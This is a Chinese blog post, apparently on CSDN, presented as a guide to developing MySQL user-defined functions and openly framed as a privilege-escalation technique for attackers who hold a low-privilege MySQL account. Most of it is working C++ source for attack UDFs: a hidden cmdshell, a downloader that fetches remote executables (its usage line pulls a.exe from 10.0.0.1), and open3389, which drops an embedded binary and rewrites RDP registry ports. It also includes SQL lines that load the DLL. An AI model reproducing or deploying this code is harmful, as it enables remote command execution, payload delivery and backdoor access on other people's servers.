UDF开发过程及其细节

UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就象使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。

原理

  MySQL添加新函数:

1.自定义函数(UDF):使得UDF机制能够起作用,必须使用C或者C++编写函数,系统必须支持动态加载。UDF中xxx函数的编写,来实现接口的C/C++ 函数如下:

(1)xxx() (必有):主函数。

SQL 类型 C/C++ 类型

STRINGchar *

INTEGERlong long

REALdouble

(2)xxx_init() (可选):初始化函数

检查传递给xxx()的参量数目。

检查参量是否为必需的类型,或者,除此之外,在主函数被调用的时候告诉MySQL将参量强制为想要的类型。

分配主函数需要的内存。

指定结果的最大长度。

指定(对于REAL 函数)小数的最多位数。

指定结果是否可以为 NULL

(3)xxx_deinit() (可选):去初始化,释放初始化函数分配的内存。

  (4)xxx_clear()未研究

  (5)xxx_add() 未研究

      2.创建存储函数

注意事项:

1.主函数xxx()

对于STRING 型函数:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,

         char *result, unsigned long *length,

         char *is_null, char *error);

对于INTEGER型函数:

long long xxx(UDF_INIT *initid, UDF_ARGS *args,

             char *is_null, char *error);

对于REAL型函数:

double xxx(UDF_INIT *initid, UDF_ARGS *args,

             char *is_null, char *error);

2.UDF变量类型说明UDF_INIT、 UDF_ARGS、my_bool

type char my_bool

enum Item_result {STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT,DECIMAL_RESULT};

typedef struct st_udf_args

{

  unsigned int arg_count; /* Number of arguments- -参数个数 */

  enum Item_result *arg_type; /* Pointer to item_results --参数类型*/

  char **args; /* Pointer to argument--参数指针 */

  unsigned long *lengths; /* Length of string arguments--参数长度 */

  char *maybe_null; /* Set to 1 for all maybe_null args --1表示空,是否表示空*/

  char **attributes;                    /* Pointer to attribute name --参数属性的指针*/

  unsigned long *attribute_lengths;     /* Length of attribute arguments --指向内容的长度*/

  void *extension; /*扩展指针*/

} UDF_ARGS;


 typedef struct st_udf_init

{

  my_bool maybe_null;          /* 1 if function can return NULL--返回值可为空 */

  unsigned int decimals;       /* for real functions --设置小数点后长度*/

  unsigned long max_length;    /* For string functions --结果返回最大长度*/

  char *ptr;                   /* free pointer for function data --字符指针,一般init内分配的内存地址给ptr*/

  my_bool const_item;          /* 1 if function always returns the same value --是否返回固定结果*/

  void *extension;

} UDF_INIT;

3.查看3389是否开启:netstat -ano -p tcp | find "3389" >nul 2>nul && echo 3389 open! || echo 3389 not open!

流程

1.安装mysqlsdk

2.vc6.0,;其中从sdk中添加额外的头文件:mysql.h、my_alloc.h、my_list.h、mysql_com.h、mysql_time.h、mysql_version.h。

3.参考mysql-udf文档:http://dev.mysql.com/doc/refman/5.1/zh/extending-mysql.html#udf-calling

细节

MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序.根据提权,UDF大致功能有:cmdshell、downloader、open3389 、backshell 、ProcessView 、KillProcess regread regwrite 、 关机,注销,重启、about

    UDF函数使用:CREATE function 函数  returns string soname 'myudf.dll';select 函数(参数)

    cmdshell:create function cmdshell returns string soname 'myudf.dll'; select cmdshell('netstat');

    download: create function download returns string soname 'myudf.dll'; select download('http://10.0.0.1/a.exe','d:\\c.exe');


程序代码:

      【cmdshell】

extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message)  

{

    //return 1出错 ,0 正常  

  initid->max_length=65*1024*1024;  

  return 0;  

}  

extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)  

{  


  if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)  

  {  

    initid->ptr=(char *)malloc(200);  

    if(initid->ptr==NULL)return NULL;  

    strcpy(initid->ptr,"执行CMD Shell函数.\r\n:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");  

    *length=strlen(initid->ptr);  

    return initid->ptr;  

  }  


  int RunStatus=0;  

  char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];  

  DWORD size=0,len;  

  HANDLE hFile;  

  GetSystemDirectory(ShellPath,MAX_PATH-1);  

  strcat(ShellPath,"\\cmd.exe");  

  GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);  

  strcat(TempFilePath,"\\2351213.tmp");  

  cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);  

    //形成命令:‘cmd  /c  命令  >  临时文件’

 strcpy(cmdline," /c ");  

  strcat(cmdline,(args->args)[0]);  

  strcat(cmdline,">");  

  strcat(cmdline,TempFilePath);  


  STARTUPINFO si;                    //结构用于指定新进程的主窗口特性

  PROCESS_INFORMATION pi;  //创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息

  ZeroMemory( &si, sizeof(si) );  

  si.wShowWindow=SW_HIDE;  

  si.cb = sizeof(si);  

  ZeroMemory( &pi, sizeof(pi) );  

  RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);  

  free(cmdline);  

  if(!RunStatus)  

  {  

    itoa(GetLastError(),temp,10);  

    sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);  

    initid->ptr=(char *)malloc(strlen(temp)+1);  

    strcpy(initid->ptr,temp);  

    (*length)=strlen(initid->ptr);  

    return initid->ptr;  

  }  

  WaitForSingleObject(pi.hProcess,30000);  

  //获得结果  

  hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);  

  if(hFile!=INVALID_HANDLE_VALUE)  

  {  

    size=GetFileSize(hFile,NULL);  

    initid->ptr=(char *)malloc(size+100);  

    ReadFile(hFile,initid->ptr,size+1,&len,NULL);  

    (initid->ptr)[size]='\0';  

    strcat(initid->ptr,"\r\n--------------------------------------------完成!\r\n");  

    CloseHandle(hFile);  

    DeleteFile(TempFilePath);  

  }  

  else  

  {  

    initid->ptr=(char *)malloc(100);  

    strcpy(initid->ptr,"\r\n--------------------------------------------完成!\r\n");  

  }  

  (*length)=strlen(initid->ptr);  

  return initid->ptr;  

}  

extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)  

{  

  if(initid->ptr!=NULL)  

   free(initid->ptr);  

}  

【download】

extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message)  
{//return 1出错 ,0 正常  
  initid->max_length=65*1024*1024;  
  return 0;  
}  
extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)  
{  
  if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || stricmp(args->args[0],"help")==0)  
  {  
    initid->ptr=(char *)malloc(200);  
    if(initid->ptr==NULL)return NULL;  
    strcpy(initid->ptr,"下载者函数\r\n:select downloader(\"http://www.baidu.com/server.exe\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  

  HANDLE hFile;  
  char path[MAX_PATH];  


  strcpy(path,(args->args)[1]);  
    
  hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,Create_ALWAYS,0,NULL);  
  if(hFile==INVALID_HANDLE_VALUE)  
  {  
    initid->ptr=(char *)malloc(100+strlen(path));  
    sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  CloseHandle(hFile);  
  DeleteFile(path);  
    
  if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)  
  {  
    initid->ptr=(char *)malloc(50+strlen(path));  
    sprintf(initid->ptr,"下载文件成功(%s).",path);  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  else  
  {  
    initid->ptr=(char *)malloc(100+strlen((args->args)[0]));  
    sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  

}  
extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)  
{  
  if(initid->ptr)  
    free(initid->ptr);  
}  

【open3389】

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)  
{//return 1出错 ,0 正常  
  initid->max_length=65*1024*1024;  
  return 0;  
}  
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)  
{  
  if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))  
  {  
    initid->ptr=(char *)malloc(200);  
    if(initid->ptr==NULL)return NULL;  
    strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n:select open3389([端口]);");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  

  HRSRC hrsrc1;  
  HGLOBAL hglobal1;  
  HANDLE hFile;  
  char path[MAX_PATH];  
  DWORD size,size2;  

  GetEnvironmentVariable("temp",path,MAX_PATH-1);  
  strcat(path,"\\457391.exe");  

  hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");  
  if(hrsrc1==NULL)  
  {  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  size=SizeofResource((HMODULE)g_module, hrsrc1);  
  hglobal1=LoadResource((HMODULE)g_module, hrsrc1);  
  if(hglobal1==NULL)  
  {  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  


  hFile = CreateFile(path,GENERIC_WRITE,0, NULL,Create_ALWAYS,0,NULL);  
  if(hFile==INVALID_HANDLE_VALUE)  
  {  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);  
  CloseHandle(hFile);  
  GlobalFree(hglobal1);  



  STARTUPINFO si;  
  PROCESS_INFORMATION pi;  
  ZeroMemory( &si, sizeof(si) );  
  si.wShowWindow=SW_HIDE;  
  si.cb = sizeof(si);  
  ZeroMemory( &pi, sizeof(pi) );  
  bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,&pi);  
  if(!RunStatus)  
  {  
    DeleteFile(path);  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  WaitForSingleObject(pi.hProcess,5000);  
  DeleteFile(path);  
  //改端口  
  if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT)  
  {  
    HKEY key;  
    DWORD dwDisposition;  
    DWORD port=*((long long *) args->args[0]);  

    RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);  
    if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))  
    {  
      RegCloseKey(key);  
      RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);  
      if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))  
      {  
        RegCloseKey(key);  
        initid->ptr=(char *)malloc(100);  
        sprintf(initid->ptr,"成功开启3389终端服务....\r\n成功修改终端服务端口为%d,重启后生效,重启系统可利用WindowsExit函数.",port);  
        *length=strlen(initid->ptr);  
        return initid->ptr;  
      }  
    }  
    RegCloseKey(key);  
    initid->ptr=(char *)malloc(100);  
    sprintf(initid->ptr,"成功开启3389终端服务....\r\n修改终端服务端口失败.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
      
  }  
  else  
  {  
    initid->ptr=(char *)malloc(100);  
    sprintf(initid->ptr,"成功开启3389终端服务.\r\n");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
}  
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)  
{  
  if(initid->ptr)  
    free(initid->ptr);  
}  

。。。待续

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值